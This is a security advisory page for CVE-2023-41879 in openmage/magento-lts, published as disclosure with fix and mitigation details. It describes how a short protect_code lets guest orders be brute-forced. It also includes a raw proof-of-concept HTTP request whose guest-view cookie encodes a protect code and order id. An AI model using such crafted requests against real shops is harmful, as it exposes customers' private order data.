Insecure Randomness Affecting openmage/magento-lts package, versions <19.5.1>=20.0.0, <20.1.1
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PHP-OPENMAGEMAGENTOLTS-5892784
- published12 Sept 2023
- disclosed11 Sept 2023
- creditFrank Rochlitzer
Introduced: 11 Sep 2023
CVE-2023-41879 (opens in a new tab)How to fix?
Upgrade openmage/magento-lts to version 19.5.1, 20.1.1 or higher.
Overview
openmage/magento-lts is a This repository is the home of an unofficial community-driven project.
Affected versions of this package are vulnerable to Insecure Randomness due to using 6 hexadecimal characters protect_code which is insufficient to prevent a brute-force attack. As a result, guest orders may be viewed without authentication using a guest-view cookie which contains the order's protect_code.
Note:
Exposing each order would require a separate brute-force attack.
Workaround
Implementing rate-limiting at the web server would help mitigate the issue. In particular, a very strict rate limit (e.g. 1 per minute per IP) for the specific route (sales/guest/view/) would effectively mitigate the issue.
PoC
Request:
1 GET /magento19/index.php/default/sales/guest/view/ HTTP/1.1
2 Host: localhost.local
3 Cookie: guest-view=MzYyYzI4OjEwMDAwMDQzMQ%3D%3D;
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://localhost.local/magento19/index.php/default/egovs_checkout/multipage/successview/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Te: trailers
15 Connection: close